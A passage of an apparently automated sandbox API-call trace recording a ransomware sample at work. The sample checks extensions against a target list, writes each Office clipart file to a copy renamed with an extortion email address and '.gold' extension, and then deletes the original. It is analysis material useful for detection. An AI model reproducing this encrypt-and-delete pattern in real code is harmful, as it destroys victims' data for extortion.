lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1890, lpOverlapped=0x0) returned 1 [0109.737] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.737] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.737] SetEndOfFile (hFile=0x194) returned 1 [0109.737] CloseHandle (hObject=0x194) returned 1 [0109.737] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.737] SetEndOfFile (hFile=0x3b4) returned 1 [0109.739] CloseHandle (hObject=0x3b4) returned 1 [0109.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0109.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.782] lstrlenW (lpString=".doc") returned 4 [0109.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.782] lstrlenW (lpString=".docx") returned 5 [0109.782] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.782] lstrlenW (lpString=".pdf") returned 4 [0109.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString=".xls") returned 4 [0109.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.787] lstrlenW (lpString=".xlsx") returned 5 [0109.787] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.787] lstrlenW (lpString=".ppt") returned 4 [0109.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString=".zip") returned 4 [0109.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.787] lstrlenW (lpString=".rar") returned 4 [0109.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString=".bz2") returned 4 [0109.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString=".7z") returned 3 [0109.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString=".dbf") returned 4 [0109.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString=".1cd") returned 4 [0109.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString=".jpg") returned 4 [0109.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.787] lstrlenW (lpString=".doc") returned 4 [0109.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString=".docx") returned 5 [0109.787] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.787] lstrlenW (lpString=".pdf") returned 4 [0109.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.787] lstrlenW (lpString=".xls") returned 4 [0109.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.787] lstrlenW (lpString=".xlsx") returned 5 [0109.787] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.787] lstrlenW (lpString=".ppt") returned 4 [0109.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.788] lstrlenW (lpString=".zip") returned 4 [0109.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.788] lstrlenW (lpString=".rar") returned 4 [0109.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.788] lstrlenW (lpString=".bz2") returned 4 [0109.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.788] lstrlenW (lpString=".7z") returned 3 [0109.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.788] lstrlenW (lpString=".dbf") returned 4 [0109.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.788] lstrlenW (lpString=".1cd") returned 4 [0109.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0109.788] lstrlenW (lpString=".jpg") returned 4 [0109.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.788] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.788] lstrlenW (lpString="J0152628.WMF") returned 12 [0109.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.789] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=30812) returned 1 [0109.789] CloseHandle (hObject=0x194) returned 1 [0109.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0109.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.789] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.789] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.790] GetLastError () returned 0x0 [0109.790] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x785c, lpOverlapped=0x0) returned 1 [0109.793] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0109.794] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.794] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.794] SetEndOfFile (hFile=0x3a8) returned 1 [0109.800] CloseHandle (hObject=0x3a8) returned 1 [0109.800] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.800] SetEndOfFile (hFile=0x194) returned 1 [0109.802] CloseHandle (hObject=0x194) returned 1 [0109.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0109.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.803] lstrlenW (lpString=".doc") returned 4 [0109.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.803] lstrlenW (lpString=".docx") returned 5 [0109.803] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.803] lstrlenW (lpString=".pdf") returned 4 [0109.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.803] lstrlenW (lpString=".xls") returned 4 [0109.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.803] lstrlenW (lpString=".xlsx") returned 5 [0109.804] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.804] lstrlenW (lpString=".ppt") returned 4 [0109.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".zip") returned 4 [0109.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.804] lstrlenW (lpString=".rar") returned 4 [0109.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".bz2") returned 4 [0109.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".7z") returned 3 [0109.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".dbf") returned 4 [0109.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".1cd") returned 4 [0109.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".jpg") returned 4 [0109.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".doc") returned 4 [0109.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".docx") returned 5 [0109.804] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.804] lstrlenW (lpString=".pdf") returned 4 [0109.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".xls") returned 4 [0109.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.804] lstrlenW (lpString=".xlsx") returned 5 [0109.804] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.804] lstrlenW (lpString=".ppt") returned 4 [0109.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".zip") returned 4 [0109.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.804] lstrlenW (lpString=".rar") returned 4 [0109.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".bz2") returned 4 [0109.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString=".7z") returned 3 [0109.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".dbf") returned 4 [0109.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".1cd") returned 4 [0109.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0109.804] lstrlenW (lpString=".jpg") returned 4 [0109.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.805] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.805] lstrlenW (lpString="J0152688.WMF") returned 12 [0109.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.805] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=34676) returned 1 [0109.805] CloseHandle (hObject=0x194) returned 1 [0109.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0109.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.806] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.806] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.807] GetLastError () returned 0x0 [0109.807] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x8774, lpOverlapped=0x0) returned 1 [0109.816] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x8780, lpOverlapped=0x0) returned 1 [0109.817] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.817] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.817] SetEndOfFile (hFile=0x3a8) returned 1 [0109.817] CloseHandle (hObject=0x3a8) returned 1 [0109.817] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.817] SetEndOfFile (hFile=0x194) returned 1 [0109.950] CloseHandle (hObject=0x194) returned 1 [0109.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".doc") returned 4 [0110.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString=".docx") returned 5 [0110.047] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.047] lstrlenW (lpString=".pdf") returned 4 [0110.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString=".xls") returned 4 [0110.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.047] lstrlenW (lpString=".xlsx") returned 5 [0110.047] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.047] lstrlenW (lpString=".ppt") returned 4 [0110.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".zip") returned 4 [0110.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.047] lstrlenW (lpString=".rar") returned 4 [0110.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString=".bz2") returned 4 [0110.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString=".7z") returned 3 [0110.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".dbf") returned 4 [0110.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".1cd") returned 4 [0110.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".jpg") returned 4 [0110.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.047] lstrlenW (lpString=".doc") returned 4 [0110.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.047] lstrlenW (lpString=".docx") returned 5 [0110.047] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.047] lstrlenW (lpString=".pdf") returned 4 [0110.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString=".xls") returned 4 [0110.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.048] lstrlenW (lpString=".xlsx") returned 5 [0110.048] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.048] lstrlenW (lpString=".ppt") returned 4 [0110.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.048] lstrlenW (lpString=".zip") returned 4 [0110.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.048] lstrlenW (lpString=".rar") returned 4 [0110.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString=".bz2") returned 4 [0110.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString=".7z") returned 3 [0110.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.048] lstrlenW (lpString=".dbf") returned 4 [0110.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.048] lstrlenW (lpString=".1cd") returned 4 [0110.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0110.048] lstrlenW (lpString=".jpg") returned 4 [0110.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.048] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.048] lstrlenW (lpString="J0152876.WMF") returned 12 [0110.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.054] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7876) returned 1 [0110.054] CloseHandle (hObject=0x3b4) returned 1 [0110.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0110.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0110.092] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.092] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0110.095] GetLastError () returned 0x0 [0110.095] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1ec4, lpOverlapped=0x0) returned 1 [0110.121] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0110.121] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.121] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.121] SetEndOfFile (hFile=0x3c8) returned 1 [0110.122] CloseHandle (hObject=0x3c8) returned 1 [0110.122] 